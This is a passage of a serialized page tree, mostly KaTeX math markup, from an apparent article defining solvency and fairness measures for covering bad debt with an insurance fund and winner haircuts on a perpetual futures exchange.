0696],{"type":19,"tag":168,"props":160697,"children":160698},{"style":158762},[160699,160703],{"type":19,"tag":168,"props":160700,"children":160702},{"className":160701,"style":1481},[1480],[],{"type":19,"tag":168,"props":160704,"children":160706},{"className":160705},[1486,1487,1488,1489],[160707],{"type":19,"tag":168,"props":160708,"children":160710},{"className":160709},[1439,19043,1489],[160711],{"type":24,"value":1157},{"type":19,"tag":168,"props":160713,"children":160715},{"className":160714},[19200],[160716],{"type":24,"value":19203},{"type":19,"tag":168,"props":160718,"children":160720},{"className":160719},[1466],[160721],{"type":19,"tag":168,"props":160722,"children":160724},{"className":160723,"style":90618},[1471],[160725],{"type":19,"tag":168,"props":160726,"children":160727},{},[],{"type":19,"tag":168,"props":160729,"children":160730},{"style":159143},[160731,160735],{"type":19,"tag":168,"props":160732,"children":160734},{"className":160733,"style":158434},[1480],[],{"type":19,"tag":168,"props":160736,"children":160738},{"className":160737},[1439],[160739,160743,160747,160752,160756,160761,160766,160823,160827,160832,160836,160841,160845,160850,160854,160911,160916,160920,160924,160929],{"type":19,"tag":168,"props":160740,"children":160742},{"className":160741},[1439],[],{"type":19,"tag":168,"props":160744,"children":160746},{"className":160745,"style":1618},[1520],[],{"type":19,"tag":168,"props":160748,"children":160750},{"className":160749},[1623],[160751],{"type":24,"value":486},{"type":19,"tag":168,"props":160753,"children":160755},{"className":160754,"style":1618},[1520],[],{"type":19,"tag":168,"props":160757,"children":160759},{"className":160758},[19079],[160760],{"type":24,"value":158148},{"type":19,"tag":168,"props":160762,"children":160764},{"className":160763},[19172],[160765],{"type":24,"value":500},{"type":19,"tag":168,"props":160767,"children":160769},{"className":160768},[1439],[160770,160775],{"type":19,"tag":168,"props":160771,"children":160773},{"className":160772,"style":90535},[1439,19043],[160774],{"type":24,"value":159021},{"type":19,"tag":168,"props":160776,"children":160778},{"className":160777},[1456],[160779],{"type":19,"tag":168,"props":160780,"children":160782},{"className":160781},[1461,19097],[160783,160812],{"type":19,"tag":168,"props":160784,"children":160786},{"className":160785},[1466],[160787,160807],{"type":19,"tag":168,"props":160788,"children":160790},{"className":160789,"style":140089},[1471],[160791],{"type":19,"tag":168,"props":160792,"children":160793},{"style":107533},[160794,160798],{"type":19,"tag":168,"props":160795,"children":160797},{"className":160796,"style":1481},[1480],[],{"type":19,"tag":168,"props":160799,"children":160801},{"className":160800},[1486,1487,1488,1489],[160802],{"type":19,"tag":168,"props":160803,"children":160805},{"className":160804,"style":19044},[1439,19043,1489],[160806],{"type":24,"value":3422},{"type":19,"tag":168,"props":160808,"children":160810},{"className":160809},[19200],[160811],{"type":24,"value":19203},{"type":19,"tag":168,"props":160813,"children":160815},{"className":160814},[1466],[160816],{"type":19,"tag":168,"props":160817,"children":160819},{"className":160818,"style":90618},[1471],[160820],{"type":19,"tag":168,"props":160821,"children":160822},{},[],{"type":19,"tag":168,"props":160824,"children":160826},{"className":160825,"style":1521},[1520],[],{"type":19,"tag":168,"props":160828,"children":160830},{"className":160829},[1526],[160831],{"type":24,"value":1500},{"type":19,"tag":168,"props":160833,"children":160835},{"className":160834,"style":1521},[1520],[],{"type":19,"tag":168,"props":160837,"children":160839},{"className":160838,"style":92555},[1439,19043],[160840],{"type":24,"value":92589},{"type":19,"tag":168,"props":160842,"children":160844},{"className":160843,"style":1521},[1520],[],{"type":19,"tag":168,"props":160846,"children":160848},{"className":160847},[1526],[160849],{"type":24,"value":1500},{"type":19,"tag":168,"props":160851,"children":160853},{"className":160852,"style":1521},[1520],[],{"type":19,"tag":168,"props":160855,"children":160857},{"className":160856},[1439],[160858,160863],{"type":19,"tag":168,"props":160859,"children":160861},{"className":160860,"style":90769},[1439,19043],[160862],{"type":24,"value":90772},{"type":19,"tag":168,"props":160864,"children":160866},{"className":160865},[1456],[160867],{"type":19,"tag":168,"props":160868,"children":160870},{"className":160869},[1461,19097],[160871,160900],{"type":19,"tag":168,"props":160872,"children":160874},{"className":160873},[1466],[160875,160895],{"type":19,"tag":168,"props":160876,"children":160878},{"className":160877,"style":140089},[1471],[160879],{"type":19,"tag":168,"props":160880,"children":160881},{"style":107963},[160882,160886],{"type":19,"tag":168,"props":160883,"children":160885},{"className":160884,"style":1481},[1480],[],{"type":19,"tag":168,"props":160887,"children":160889},{"className":160888},[1486,1487,1488,1489],[160890],{"type":19,"tag":168,"props":160891,"children":160893},{"className":160892,"style":19044},[1439,19043,1489],[160894],{"type":24,"value":3422},{"type":19,"tag":168,"props":160896,"children":160898},{"className":160897},[19200],[160899],{"type":24,"value":19203},{"type":19,"tag":168,"props":160901,"children":160903},{"className":160902},[1466],[160904],{"type":19,"tag":168,"props":160905,"children":160907},{"className":160906,"style":90618},[1471],[160908],{"type":19,"tag":168,"props":160909,"children":160910},{},[],{"type":19,"tag":168,"props":160912,"children":160914},{"className":160913},[1552],[160915],{"type":24,"value":1555},{"type":19,"tag":168,"props":160917,"children":160919},{"className":160918,"style":1559},[1520],[],{"type":19,"tag":168,"props":160921,"children":160923},{"className":160922,"style":1559},[1520],[],{"type":19,"tag":168,"props":160925,"children":160927},{"className":160926},[1439],[160928],{"type":24,"value":1452},{"type":19,"tag":168,"props":160930,"children":160932},{"className":160931},[19194],[160933],{"type":24,"value":524},{"type":19,"tag":168,"props":160935,"children":160937},{"className":160936},[19200],[160938],{"type":24,"value":19203},{"type":19,"tag":168,"props":160940,"children":160942},{"className":160941},[1466],[160943],{"type":19,"tag":168,"props":160944,"children":160946},{"className":160945,"style":159224},[1471],[160947],{"type":19,"tag":168,"props":160948,"children":160949},{},[],{"type":19,"tag":20,"props":160951,"children":160952},{},[160953,160954,161031,161033,161058,161060,161137,161139,161216],{"type":24,"value":500},{"type":19,"tag":27,"props":160955,"children":160957},{"className":160956},[1411,1412],[160958],{"type":19,"tag":168,"props":160959,"children":160961},{"className":160960},[1417],[160962],{"type":19,"tag":168,"props":160963,"children":160965},{"className":160964,"ariaHidden":1423},[1422],[160966],{"type":19,"tag":168,"props":160967,"children":160969},{"className":160968},[1428],[160970,160974],{"type":19,"tag":168,"props":160971,"children":160973},{"className":160972,"style":108531},[1433],[],{"type":19,"tag":168,"props":160975,"children":160977},{"className":160976},[1439],[160978,160983],{"type":19,"tag":168,"props":160979,"children":160981},{"className":160980,"style":19044},[1439,19043],[160982],{"type":24,"value":19047},{"type":19,"tag":168,"props":160984,"children":160986},{"className":160985},[1456],[160987],{"type":19,"tag":168,"props":160988,"children":160990},{"className":160989},[1461,19097],[160991,161020],{"type":19,"tag":168,"props":160992,"children":160994},{"className":160993},[1466],[160995,161015],{"type":19,"tag":168,"props":160996,"children":160998},{"className":160997,"style":106966},[1471],[160999],{"type":19,"tag":168,"props":161000,"children":161001},{"style":158467},[161002,161006],{"type":19,"tag":168,"props":161003,"children":161005},{"className":161004,"style":1481},[1480],[],{"type":19,"tag":168,"props":161007,"children":161009},{"className":161008},[1486,1487,1488,1489],[161010],{"type":19,"tag":168,"props":161011,"children":161013},{"className":161012},[1439,19043,1489],[161014],{"type":24,"value":53887},{"type":19,"tag":168,"props":161016,"children":161018},{"className":161017},[19200],[161019],{"type":24,"value":19203},{"type":19,"tag":168,"props":161021,"children":161023},{"className":161022},[1466],[161024],{"type":19,"tag":168,"props":161025,"children":161027},{"className":161026,"style":90618},[1471],[161028],{"type":19,"tag":168,"props":161029,"children":161030},{},[],{"type":24,"value":161032},": mark price from different sources; ",{"type":19,"tag":27,"props":161034,"children":161036},{"className":161035},[1411,1412],[161037],{"type":19,"tag":168,"props":161038,"children":161040},{"className":161039},[1417],[161041],{"type":19,"tag":168,"props":161042,"children":161044},{"className":161043,"ariaHidden":1423},[1422],[161045],{"type":19,"tag":168,"props":161046,"children":161048},{"className":161047},[1428],[161049,161053],{"type":19,"tag":168,"props":161050,"children":161052},{"className":161051,"style":19038},[1433],[],{"type":19,"tag":168,"props":161054,"children":161056},{"className":161055,"style":92555},[1439,19043],[161057],{"type":24,"value":92589},{"type":24,"value":161059},": insurance fund, roughly the 5M on testnet HL; ",{"type":19,"tag":27,"props":161061,"children":161063},{"className":161062},[1411,1412],[161064],{"type":19,"tag":168,"props":161065,"children":161067},{"className":161066},[1417],[161068],{"type":19,"tag":168,"props":161069,"children":161071},{"className":161070,"ariaHidden":1423},[1422],[161072],{"type":19,"tag":168,"props":161073,"children":161075},{"className":161074},[1428],[161076,161080],{"type":19,"tag":168,"props":161077,"children":161079},{"className":161078,"style":107504},[1433],[],{"type":19,"tag":168,"props":161081,"children":161083},{"className":161082},[1439],[161084,161089],{"type":19,"tag":168,"props":161085,"children":161087},{"className":161086,"style":91021},[1439,19043],[161088],{"type":24,"value":158605},{"type":19,"tag":168,"props":161090,"children":161092},{"className":161091},[1456],[161093],{"type":19,"tag":168,"props":161094,"children":161096},{"className":161095},[1461,19097],[161097,161126],{"type":19,"tag":168,"props":161098,"children":161100},{"className":161099},[1466],[161101,161121],{"type":19,"tag":168,"props":161102,"children":161104},{"className":161103,"style":91064},[1471],[161105],{"type":19,"tag":168,"props":161106,"children":161107},{"style":91068},[161108,161112],{"type":19,"tag":168,"props":161109,"children":161111},{"className":161110,"style":1481},[1480],[],{"type":19,"tag":168,"props":161113,"children":161115},{"className":161114},[1486,1487,1488,1489],[161116],{"type":19,"tag":168,"props":161117,"children":161119},{"className":161118},[1439,19043,1489],[161120],{"type":24,"value":1157},{"type":19,"tag":168,"props":161122,"children":161124},{"className":161123},[19200],[161125],{"type":24,"value":19203},{"type":19,"tag":168,"props":161127,"children":161129},{"className":161128},[1466],[161130],{"type":19,"tag":168,"props":161131,"children":161133},{"className":161132,"style":90618},[1471],[161134],{"type":19,"tag":168,"props":161135,"children":161136},{},[],{"type":24,"value":161138}," is PNL for longs, negated for shorts; ",{"type":19,"tag":27,"props":161140,"children":161142},{"className":161141},[1411,1412],[161143],{"type":19,"tag":168,"props":161144,"children":161146},{"className":161145},[1417],[161147],{"type":19,"tag":168,"props":161148,"children":161150},{"className":161149,"ariaHidden":1423},[1422],[161151],{"type":19,"tag":168,"props":161152,"children":161154},{"className":161153},[1428],[161155,161159],{"type":19,"tag":168,"props":161156,"children":161158},{"className":161157,"style":107504},[1433],[],{"type":19,"tag":168,"props":161160,"children":161162},{"className":161161},[1439],[161163,161168],{"type":19,"tag":168,"props":161164,"children":161166},{"className":161165,"style":119814},[1439,19043],[161167],{"type":24,"value":47054},{"type":19,"tag":168,"props":161169,"children":161171},{"className":161170},[1456],[161172],{"type":19,"tag":168,"props":161173,"children":161175},{"className":161174},[1461,19097],[161176,161205],{"type":19,"tag":168,"props":161177,"children":161179},{"className":161178},[1466],[161180,161200],{"type":19,"tag":168,"props":161181,"children":161183},{"className":161182,"style":91064},[1471],[161184],{"type":19,"tag":168,"props":161185,"children":161186},{"style":158762},[161187,161191],{"type":19,"tag":168,"props":161188,"children":161190},{"className":161189,"style":1481},[1480],[],{"type":19,"tag":168,"props":161192,"children":161194},{"className":161193},[1486,1487,1488,1489],[161195],{"type":19,"tag":168,"props":161196,"children":161198},{"className":161197},[1439,19043,1489],[161199],{"type":24,"value":1157},{"type":19,"tag":168,"props":161201,"children":161203},{"className":161202},[19200],[161204],{"type":24,"value":19203},{"type":19,"tag":168,"props":161206,"children":161208},{"className":161207},[1466],[161209],{"type":19,"tag":168,"props":161210,"children":161212},{"className":161211,"style":90618},[1471],[161213],{"type":19,"tag":168,"props":161214,"children":161215},{},[],{"type":24,"value":161217}," is the positive part of PNL.)",{"type":19,"tag":20,"props":161219,"children":161220},{},[161221],{"type":24,"value":161222},"And let's make the trilemma definitions concrete:",{"type":19,"tag":43,"props":161224,"children":161225},{},[161226,161700,162264],{"type":19,"tag":47,"props":161227,"children":161228},{},[161229,161233,161234,161488,161490,161541,161543,161646,161647,161698],{"type":19,"tag":293,"props":161230,"children":161231},{},[161232],{"type":24,"value":158346},{"type":24,"value":30384},{"type":19,"tag":27,"props":161235,"children":161237},{"className":161236},[1411,1412],[161238],{"type":19,"tag":168,"props":161239,"children":161241},{"className":161240},[1417],[161242],{"type":19,"tag":168,"props":161243,"children":161245},{"className":161244,"ariaHidden":1423},[1422],[161246,161273],{"type":19,"tag":168,"props":161247,"children":161249},{"className":161248},[1428],[161250,161255,161260,161264,161269],{"type":19,"tag":168,"props":161251,"children":161254},{"className":161252,"style":161253},[1433],"height:0.7278em;vertical-align:-0.0833em;",[],{"type":19,"tag":168,"props":161256,"children":161258},{"className":161257},[1439],[161259],{"type":24,"value":1442},{"type":19,"tag":168,"props":161261,"children":161263},{"className":161262,"style":1521},[1520],[],{"type":19,"tag":168,"props":161265,"children":161267},{"className":161266},[1526],[161268],{"type":24,"value":1500},{"type":19,"tag":168,"props":161270,"children":161272},{"className":161271,"style":1521},[1520],[],{"type":19,"tag":168,"props":161274,"children":161276},{"className":161275},[1428],[161277,161282],{"type":19,"tag":168,"props":161278,"children":161281},{"className":161279,"style":161280},[1433],"height:1.3337em;vertical-align:-0.4453em;",[],{"type":19,"tag":168,"props":161283,"children":161285},{"className":161284},[1439],[161286,161290,161484],{"type":19,"tag":168,"props":161287,"children":161289},{"className":161288},[19172,111052],[],{"type":19,"tag":168,"props":161291,"children":161293},{"className":161292},[111057],[161294],{"type":19,"tag":168,"props":161295,"children":161297},{"className":161296},[1461,19097],[161298,161472],{"type":19,"tag":168,"props":161299,"children":161301},{"className":161300},[1466],[161302,161467],{"type":19,"tag":168,"props":161303,"children":161306},{"className":161304,"style":161305},[1471],"height:0.8884em;",[161307,161381,161392],{"type":19,"tag":168,"props":161308,"children":161309},{"style":111074},[161310,161314],{"type":19,"tag":168,"props":161311,"children":161313},{"className":161312,"style":109705},[1480],[],{"type":19,"tag":168,"props":161315,"children":161317},{"className":161316},[1486,1487,1488,1489],[161318],{"type":19,"tag":168,"props":161319,"children":161321},{"className":161320},[1439,1489],[161322],{"type":19,"tag":168,"props":161323,"children":161325},{"className":161324},[1439,1489],[161326,161331],{"type":19,"tag":168,"props":161327,"children":161329},{"className":161328,"style":90535},[1439,19043,1489],[161330],{"type":24,"value":159021},{"type":19,"tag":168,"props":161332,"children":161334},{"className":161333},[1456],[161335],{"type":19,"tag":168,"props":161336,"children":161338},{"className":161337},[1461,19097],[161339,161369],{"type":19,"tag":168,"props":161340,"children":161342},{"className":161341},[1466],[161343,161364],{"type":19,"tag":168,"props":161344,"children":161346},{"className":161345,"style":109866},[1471],[161347],{"type":19,"tag":168,"props":161348,"children":161350},{"style":161349},"top:-2.3567em;margin-left:-0.0278em;margin-right:0.0714em;",[161351,161355],{"type":19,"tag":168,"props":161352,"children":161354},{"className":161353,"style":106394},[1480],[],{"type":19,"tag":168,"props":161356,"children":161358},{"className":161357},[1486,106399,106400,1489],[161359],{"type":19,"tag":168,"props":161360,"children":161362},{"className":161361,"style":19044},[1439,19043,1489],[161363],{"type":24,"value":3422},{"type":19,"tag":168,"props":161365,"children":161367},{"className":161366},[19200],[161368],{"type":24,"value":19203},{"type":19,"tag":168,"props":161370,"children":161372},{"className":161371},[1466],[161373],{"type":19,"tag":168,"props":161374,"children":161377},{"className":161375,"style":161376},[1471],"height:0.1433em;",[161378],{"type":19,"tag":168,"props":161379,"children":161380},{},[],{"type":19,"tag":168,"props":161382,"children":161383},{"style":111107},[161384,161388],{"type":19,"tag":168,"props":161385,"children":161387},{"className":161386,"style":109705},[1480],[],{"type":19,"tag":168,"props":161389,"children":161391},{"className":161390,"style":111117},[111116],[],{"type":19,"tag":168,"props":161393,"children":161395},{"style":161394},"top:-3.4101em;",[161396,161400],{"type":19,"tag":168,"props":161397,"children":161399},{"className":161398,"style":109705},[1480],[],{"type":19,"tag":168,"props":161401,"children":161403},{"className":161402},[1486,1487,1488,1489],[161404],{"type":19,"tag":168,"props":161405,"children":161407},{"className":161406},[1439,1489],[161408],{"type":19,"tag":168,"props":161409,"children":161411},{"className":161410},[1439,1489],[161412,161417],{"type":19,"tag":168,"props":161413,"children":161415},{"className":161414,"style":120311},[1439,19043,1489],[161416],{"type":24,"value":120314},{"type":19,"tag":168,"props":161418,"children":161420},{"className":161419},[1456],[161421],{"type":19,"tag":168,"props":161422,"children":161424},{"className":161423},[1461,19097],[161425,161456],{"type":19,"tag":168,"props":161426,"children":161428},{"className":161427},[1466],[161429,161451],{"type":19,"tag":168,"props":161430,"children":161433},{"className":161431,"style":161432},[1471],"height:0.2963em;",[161434],{"type":19,"tag":168,"props":161435,"children":161437},{"style":161436},"top:-2.357em;margin-left:-0.0077em;margin-right:0.0714em;",[161438,161442],{"type":19,"tag":168,"props":161439,"children":161441},{"className":161440,"style":106394},[1480],[],{"type":19,"tag":168,"props":161443,"children":161445},{"className":161444},[1486,106399,106400,1489],[161446],{"type":19,"tag":168,"props":161447,"children":161449},{"className":161448},[1439,19043,1489],[161450],{"type":24,"value":19185},{"type":19,"tag":168,"props":161452,"children":161454},{"className":161453},[19200],[161455],{"type":24,"value":19203},{"type":19,"tag":168,"props":161457,"children":161459},{"className":161458},[1466],[161460],{"type":19,"tag":168,"props":161461,"children":161463},{"className":161462,"style":106419},[1471],[161464],{"type":19,"tag":168,"props":161465,"children":161466},{},[],{"type":19,"tag":168,"props":161468,"children":161470},{"className":161469},[19200],[161471],{"type":24,"value":19203},{"type":19,"tag":168,"props":161473,"children":161475},{"className":161474},[1466],[161476],{"type":19,"tag":168,"props":161477,"children":161480},{"className":161478,"style":161479},[1471],"height:0.4453em;",[161481],{"type":19,"tag":168,"props":161482,"children":161483},{},[],{"type":19,"tag":168,"props":161485,"children":161487},{"className":161486},[19194,111052],[],{"type":24,"value":161489}," — how much of the total bad debt was actually covered. ",{"type":19,"tag":27,"props":161491,"children":161493},{"className":161492},[1411,1412],[161494],{"type":19,"tag":168,"props":161495,"children":161497},{"className":161496},[1417],[161498],{"type":19,"tag":168,"props":161499,"children":161501},{"className":161500,"ariaHidden":1423},[1422],[161502,161528],{"type":19,"tag":168,"props":161503,"children":161505},{"className":161504},[1428],[161506,161510,161515,161519,161524],{"type":19,"tag":168,"props":161507,"children":161509},{"className":161508,"style":19038},[1433],[],{"type":19,"tag":168,"props":161511,"children":161513},{"className":161512,"style":19502},[1439,19043],[161514],{"type":24,"value":19505},{"type":19,"tag":168,"props":161516,"children":161518},{"className":161517,"style":1618},[1520],[],{"type":19,"tag":168,"props":161520,"children":161522},{"className":161521},[1623],[161523],{"type":24,"value":486},{"type":19,"tag":168,"props":161525,"children":161527},{"className":161526,"style":1618},[1520],[],{"type":19,"tag":168,"props":161529,"children":161531},{"className":161530},[1428],[161532,161536],{"type":19,"tag":168,"props":161533,"children":161535},{"className":161534,"style":91566},[1433],[],{"type":19,"tag":168,"props":161537,"children":161539},{"className":161538},[1439],[161540],{"type":24,"value":1442},{"type":24,"value":161542}," means fully solvent (",{"type":19,"tag":27,"props":161544,"children":161546},{"className":161545},[1411,1412],[161547],{"type":19,"tag":168,"props":161548,"children":161550},{"className":161549},[1417],[161551],{"type":19,"tag":168,"props":161552,"children":161554},{"className":161553,"ariaHidden":1423},[1422],[161555,161633],{"type":19,"tag":168,"props":161556,"children":161558},{"className":161557},[1428],[161559,161563,161620,161624,161629],{"type":19,"tag":168,"props":161560,"children":161562},{"className":161561,"style":108531},[1433],[],{"type":19,"tag":168,"props":161564,"children":161566},{"className":161565},[1439],[161567,161572],{"type":19,"tag":168,"props":161568,"children":161570},{"className":161569,"style":120311},[1439,19043],[161571],{"type":24,"value":120314},{"type":19,"tag":168,"props":161573,"children":161575},{"className":161574},[1456],[161576],{"type":19,"tag":168,"props":161577,"children":161579},{"className":161578},[1461,19097],[161580,161609],{"type":19,"tag":168,"props":161581,"children":161583},{"className":161582},[1466],[161584,161604],{"type":19,"tag":168,"props":161585,"children":161587},{"className":161586,"style":159177},[1471],[161588],{"type":19,"tag":168,"props":161589,"children":161590},{"style":159181},[161591,161595],{"type":19,"tag":168,"props":161592,"children":161594},{"className":161593,"style":1481},[1480],[],{"type":19,"tag":168,"props":161596,"children":161598},{"className":161597},[1486,1487,1488,1489],[161599],{"type":19,"tag":168,"props":161600,"children":161602},{"className":161601},[1439,19043,1489],[161603],{"type":24,"value":19185},{"type":19,"tag":168,"props":161605,"children":161607},{"className":161606},[19200],[161608],{"type":24,"value":19203},{"type":19,"tag":168,"props":161610,"children":161612},{"className":161611},[1466],[161613],{"type":19,"tag":168,"props":161614,"children":161616},{"className":161615,"style":90618},[1471],[161617],{"type":19,"tag":168,"props":161618,"children":161619},{},[],{"type":19,"tag":168,"props":161621,"children":161623},{"className":161622,"style":1618},[1520],[],{"type":19,"tag":168,"props":161625,"children":161627},{"className":161626},[1623],[161628],{"type":24,"value":486},{"type":19,"tag":168,"props":161630,"children":161632},{"className":161631,"style":1618},[1520],[],{"type":19,"tag":168,"props":161634,"children":161636},{"className":161635},[1428],[161637,161641],{"type":19,"tag":168,"props":161638,"children":161640},{"className":161639,"style":91566},[1433],[],{"type":19,"tag":168,"props":161642,"children":161644},{"className":161643},[1439],[161645],{"type":24,"value":1452},{"type":24,"value":12624},{"type":19,"tag":27,"props":161648,"children":161650},{"className":161649},[1411,1412],[161651],{"type":19,"tag":168,"props":161652,"children":161654},{"className":161653},[1417],[161655],{"type":19,"tag":168,"props":161656,"children":161658},{"className":161657,"ariaHidden":1423},[1422],[161659,161685],{"type":19,"tag":168,"props":161660,"children":161662},{"className":161661},[1428],[161663,161667,161672,161676,161681],{"type":19,"tag":168,"props":161664,"children":161666},{"className":161665,"style":19038},[1433],[],{"type":19,"tag":168,"props":161668,"children":161670},{"className":161669,"style":19502},[1439,19043],[161671],{"type":24,"value":19505},{"type":19,"tag":168,"props":161673,"children":161675},{"className":161674,"style":1618},[1520],[],{"type":19,"tag":168,"props":161677,"children":161679},{"className":161678},[1623],[161680],{"type":24,"value":486},{"type":19,"tag":168,"props":161682,"children":161684},{"className":161683,"style":1618},[1520],[],{"type":19,"tag":168,"props":161686,"children":161688},{"className":161687},[1428],[161689,161693],{"type":19,"tag":168,"props":161690,"children":161692},{"className":161691,"style":91566},[1433],[],{"type":19,"tag":168,"props":161694,"children":161696},{"className":161695},[1439],[161697],{"type":24,"value":1452},{"type":24,"value":161699}," means nothing was recovered.",{"type":19,"tag":47,"props":161701,"children":161702},{},[161703,161707,161708,161831,161832,162049,162051,162155,162157,162208,162210,162262],{"type":19,"tag":293,"props":161704,"children":161705},{},[161706],{"type":24,"value":158356},{"type":24,"value":30384},{"type":19,"tag":27,"props":161709,"children":161711},{"className":161710},[1411,1412],[161712],{"type":19,"tag":168,"props":161713,"children":161715},{"className":161714},[1417],[161716],{"type":19,"tag":168,"props":161717,"children":161719},{"className":161718,"ariaHidden":1423},[1422],[161720,161746],{"type":19,"tag":168,"props":161721,"children":161723},{"className":161722},[1428],[161724,161728,161733,161737,161742],{"type":19,"tag":168,"props":161725,"children":161727},{"className":161726,"style":161253},[1433],[],{"type":19,"tag":168,"props":161729,"children":161731},{"className":161730},[1439],[161732],{"type":24,"value":1442},{"type":19,"tag":168,"props":161734,"children":161736},{"className":161735,"style":1521},[1520],[],{"type":19,"tag":168,"props":161738,"children":161740},{"className":161739},[1526],[161741],{"type":24,"value":1500},{"type":19,"tag":168,"props":161743,"children":161745},{"className":161744,"style":1521},[1520],[],{"type":19,"tag":168,"props":161747,"children":161749},{"className":161748},[1428],[161750,161754,161764,161769,161826],{"type":19,"tag":168,"props":161751,"children":161753},{"className":161752,"style":1541},[1433],[],{"type":19,"tag":168,"props":161755,"children":161757},{"className":161756},[1439,24],[161758],{"type":19,"tag":168,"props":161759,"children":161761},{"className":161760},[1439],[161762],{"type":24,"value":161763},"Gini",{"type":19,"tag":168,"props":161765,"children":161767},{"className":161766},[19172],[161768],{"type":24,"value":500},{"type":19,"tag":168,"props":161770,"children":161772},{"className":161771},[1439],[161773,161778],{"type":19,"tag":168,"props":161774,"children":161776},{"className":161775},[1439,19043],[161777],{"type":24,"value":81834},{"type":19,"tag":168,"props":161779,"children":161781},{"className":161780},[1456],[161782],{"type":19,"tag":168,"props":161783,"children":161785},{"className":161784},[1461,19097],[161786,161815],{"type":19,"tag":168,"props":161787,"children":161789},{"className":161788},[1466],[161790,161810],{"type":19,"tag":168,"props":161791,"children":161793},{"className":161792,"style":91064},[1471],[161794],{"type":19,"tag":168,"props":161795,"children":161796},{"style":90591},[161797,161801],{"type":19,"tag":168,"props":161798,"children":161800},{"className":161799,"style":1481},[1480],[],{"type":19,"tag":168,"props":161802,"children":161804},{"className":161803},[1486,1487,1488,1489],[161805],{"type":19,"tag":168,"props":161806,"children":161808},{"className":161807},[1439,19043,1489],[161809],{"type":24,"value":1157},{"type":19,"tag":168,"props":161811,"children":161813},{"className":161812},[19200],[161814],{"type":24,"value":19203},{"type":19,"tag":168,"props":161816,"children":161818},{"className":161817},[1466],[161819],{"type":19,"tag":168,"props":161820,"children":161822},{"className":161821,"style":90618},[1471],[161823],{"type":19,"tag":168,"props":161824,"children":161825},{},[],{"type":19,"tag":168,"props":161827,"children":161829},{"className":161828},[19194],[161830],{"type":24,"value":524},{"type":24,"value":4758},{"type":19,"tag":27,"props":161833,"children":161835},{"className":161834},[1411,1412],[161836],{"type":19,"tag":168,"props":161837,"children":161839},{"className":161838},[1417],[161840],{"type":19,"tag":168,"props":161841,"children":161843},{"className":161842,"ariaHidden":1423},[1422],[161844,161922],{"type":19,"tag":168,"props":161845,"children":161847},{"className":161846},[1428],[161848,161852,161909,161913,161918],{"type":19,"tag":168,"props":161849,"children":161851},{"className":161850,"style":139813},[1433],[],{"type":19,"tag":168,"props":161853,"children":161855},{"className":161854},[1439],[161856,161861],{"type":19,"tag":168,"props":161857,"children":161859},{"className":161858},[1439,19043],[161860],{"type":24,"value":81834},{"type":19,"tag":168,"props":161862,"children":161864},{"className":161863},[1456],[161865],{"type":19,"tag":168,"props":161866,"children":161868},{"className":161867},[1461,19097],[161869,161898],{"type":19,"tag":168,"props":161870,"children":161872},{"className":161871},[1466],[161873,161893],{"type":19,"tag":168,"props":161874,"children":161876},{"className":161875,"style":91064},[1471],[161877],{"type":19,"tag":168,"props":161878,"children":161879},{"style":90591},[161880,161884],{"type":19,"tag":168,"props":161881,"children":161883},{"className":161882,"style":1481},[1480],[],{"type":19,"tag":168,"props":161885,"children":161887},{"className":161886},[1486,1487,1488,1489],[161888],{"type":19,"tag":168,"props":161889,"children":161891},{"className":161890},[1439,19043,1489],[161892],{"type":24,"value":1157},{"type":19,"tag":168,"props":161894,"children":161896},{"className":161895},[19200],[161897],{"type":24,"value":19203},{"type":19,"tag":168,"props":161899,"children":161901},{"className":161900},[1466],[161902],{"type":19,"tag":168,"props":161903,"children":161905},{"className":161904,"style":90618},[1471],[161906],{"type":19,"tag":168,"props":161907,"children":161908},{},[],{"type":19,"tag":168,"props":161910,"children":161912},{"className":161911,"style":1618},[1520],[],{"type":19,"tag":168,"props":161914,"children":161916},{"className":161915},[1623],[161917],{"type":24,"value":486},{"type":19,"tag":168,"props":161919,"children":161921},{"className":161920,"style":1618},[1520],[],{"type":19,"tag":168,"props":161923,"children":161925},{"className":161924},[1428],[161926,161930,161987,161992],{"type":19,"tag":168,"props":161927,"children":161929},{"className":161928,"style":1541},[1433],[],{"type":19,"tag":168,"props":161931,"children":161933},{"className":161932},[1439],[161934,161939],{"type":19,"tag":168,"props":161935,"children":161937},{"className":161936},[1439,19043],[161938],{"type":24,"value":16729},{"type":19,"tag":168,"props":161940,"children":161942},{"className":161941},[1456],[161943],{"type":19,"tag":168,"props":161944,"children":161946},{"className":161945},[1461,19097],[161947,161976],{"type":19,"tag":168,"props":161948,"children":161950},{"className":161949},[1466],[161951,161971],{"type":19,"tag":168,"props":161952,"children":161954},{"className":161953,"style":91064},[1471],[161955],{"type":19,"tag":168,"props":161956,"children":161957},{"style":90591},[161958,161962],{"type":19,"tag":168,"props":161959,"children":161961},{"className":161960,"style":1481},[1480],[],{"type":19,"tag":168,"props":161963,"children":161965},{"className":161964},[1486,1487,1488,1489],[161966],{"type":19,"tag":168,"props":161967,"children":161969},{"className":161968},[1439,19043,1489],[161970],{"type":24,"value":1157},{"type":19,"tag":168,"props":161972,"children":161974},{"className":161973},[19200],[161975],{"type":24,"value":19203},{"type":19,"tag":168,"props":161977,"children":161979},{"className":161978},[1466],[161980],{"type":19,"tag":168,"props":161981,"children":161983},{"className":161982,"style":90618},[1471],[161984],{"type":19,"tag":168,"props":161985,"children":161986},{},[],{"type":19,"tag":168,"props":161988,"children":161990},{"className":161989},[1439],[161991],{"type":24,"value":2012},{"type":19,"tag":168,"props":161993,"children":161995},{"className":161994},[1439],[161996,162001],{"type":19,"tag":168,"props":161997,"children":161999},{"className":161998,"style":119814},[1439,19043],[162000],{"type":24,"value":47054},{"type":19,"tag":168,"props":162002,"children":162004},{"className":162003},[1456],[162005],{"type":19,"tag":168,"props":162006,"children":162008},{"className":162007},[1461,19097],[162009,162038],{"type":19,"tag":168,"props":162010,"children":162012},{"className":162011},[1466],[162013,162033],{"type":19,"tag":168,"props":162014,"children":162016},{"className":162015,"style":91064},[1471],[162017],{"type":19,"tag":168,"props":162018,"children":162019},{"style":158762},[162020,162024],{"type":19,"tag":168,"props":162021,"children":162023},{"className":162022,"style":1481},[1480],[],{"type":19,"tag":168,"props":162025,"children":162027},{"className":162026},[1486,1487,1488,1489],[162028],{"type":19,"tag":168,"props":162029,"children":162031},{"className":162030},[1439,19043,1489],[162032],{"type":24,"value":1157},{"type":19,"tag":168,"props":162034,"children":162036},{"className":162035},[19200],[162037],{"type":24,"value":19203},{"type":19,"tag":168,"props":162039,"children":162041},{"className":162040},[1466],[162042],{"type":19,"tag":168,"props":162043,"children":162045},{"className":162044,"style":90618},[1471],[162046],{"type":19,"tag":168,"props":162047,"children":162048},{},[],{"type":24,"value":162050}," for each winner with 